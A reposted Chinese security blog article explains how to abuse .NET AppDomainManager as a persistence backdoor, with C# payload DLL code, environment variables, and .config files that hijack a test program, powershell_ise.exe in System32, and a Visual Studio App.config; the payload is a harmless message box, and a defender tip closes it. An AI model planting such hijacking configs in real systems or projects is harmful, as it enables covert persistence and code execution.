日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

AppDomainManager后门的实现思路

發布時間:2023/12/9 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 AppDomainManager后门的实现思路 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
本文講的是AppDomainManager后門的實現思路,
0x00 前言

從Casey Smith@subTee學到的一個技巧:針對.Net程序,通過修改AppDomainManager能夠劫持.Net程序的啟動過程。?
如果劫持了系統常見.Net程序如powershell.exe的啟動過程,向其添加payload,就能實現一種被動的后門觸發機制。

0x01 簡介

本文將要介紹以下內容:

劫持自己開發的.Net程序

劫持系統.Net程序powershell_ise.exe

一種針對Visual Studio的利用思路

0x02 相關概念

CLR:

全稱Common Language Runtime(公共語言運行庫),是一個可由多種編程語言使用的運行環境。

CLR是.NET Framework的主要執行引擎,作用之一是監視程序的運行:

  • 在CLR監視之下運行的程序屬于“托管的”(managed)代碼

  • 不在CLR之下、直接在裸機上運行的應用或者組件屬于“非托管的”(unmanaged)的代碼

對于在CLR監視之下的程序,程序啟動的初始化過程可參考如下鏈接:

http://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/

值得注意的地方:

如果能從程序啟動的初始化過程中找到一個可供利用的位置,在程序啟動之前加載我們自己的代碼,那么就可以“濫用”CLR的功能,實現對程序的劫持

更理想的情況下:

如果可被劫持的程序是一個系統常用程序,隨開機自啟動,那么,這個方法就能作為一個持續性后門

下面介紹Casey Smith@subTee分享的后門思路:AppDomainManager

0x03 劫持自己開發的.Net程序

注:

代碼引用自:http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html

1、編寫示例程序

使用Visual Studio,選擇c#開發環境,新建控制臺應用程序,工程名:program,代碼如下:

using?System;public?class?Program {public?static?void?Main(){Console.WriteLine("Inside?the?App");} }

編譯生成program.exe

程序運行如下圖

2、編寫payload Dll

選擇c#開發環境,新建類庫,工程名:DomainManager,代碼如下:

using System;

namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
}
}
}

編譯生成DomainManager.dll

3、設置AppDomainManager劫持程序啟動

將DomainManager.dll放于同級目錄

方法1:

cmd設置環境變量:

set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

set APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager

執行program.exe,通過查看回顯,發現DomainManager.dll先于program.exe執行

成功實現劫持,完整操作如下圖

注:

注意比較執行順序

通過cmd設置環境變量的方法只會作用于當前cmd,不夠通用

方法2:

更加通用的方法:配置config文件

新建program.exe.config,內容如下:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly
value="DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />

</runtime>
</configuration>

注:

config文件命名格式:exe+.config

成功實現劫持,完整操作如下圖

0x04 劫持系統.Net程序powershell_ise.exe

接下來,需要找到可供利用的系統.Net程序,嘗試實現持久性后門

這里選取powershell_ise.exe作為演示

注:

powershell_ise.exe:全稱Windows PowerShell Integrated Scripting Environment(集成腳本環境)

圖形界面,主要用于編寫和調試powershell腳本

操作界面如下圖

為了便于演示,我們需要修改工程DomainManager,使其在運行時彈框

1、添加引用

工程-右鍵-添加引用,選擇System.Windows.Forms

如下圖

代碼修改如下:

using System;
using System.Windows.Forms;
namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
MessageBox.Show("1");
}
}
}

重新編譯生成DomainManager.dll

2、測試

劫持program.exe成功,如下圖

劫持powershell_ise.exe:

(1)?測試test目錄

將powershell_ise.exe復制到c:test

在同級目錄新建powershell_ise.exe.config,config文件可作適當精簡,精簡后的內容如下:

<?xml version="1.0"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>

在c:test目錄下啟動powershell_ise.exe

成功劫持powershell_ise.exe

(2)測試powershell_ise.exe默認目錄

路徑如下:

C:WindowsSystem32WindowsPowerShellv1.0

需要管理員權限,在默認目錄創建劫持文件DomainManager.dll和powershell_ise.exe.config

編譯任意powershell腳本,默認啟動powershell_ise.exe,成功劫持

完整操作如下圖

0x05 一種針對Visual Studio的利用思路

對于Visual Studio的c#工程,在工程目錄下默認存在文件App.config,內容如下:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
</configuration>

如果對其修改,添加劫持功能,那么在編譯程序時,也會同步修改bin目錄下默認生成的config文件

App.config修改如下:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>

編譯程序,bin目錄下的config文件也被修改,如下圖

如果在bin目錄也放置DomainManager.dll,那么在程序啟動時會被劫持,如下圖

0x06 小結

本文介紹了一種通過修改AppDomainManager實現的被動后門觸發機制,分析了利用思路,站在防御者的角度,只需要留意.Net程序同級目錄下的config文件就好。




原文發布時間為:2017年6月18日 本文作者:3gstudent? 本文來自云棲社區合作伙伴嘶吼,了解相關信息可以關注嘶吼網站。 原文鏈接

總結

以上是生活随笔為你收集整理的AppDomainManager后门的实现思路的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。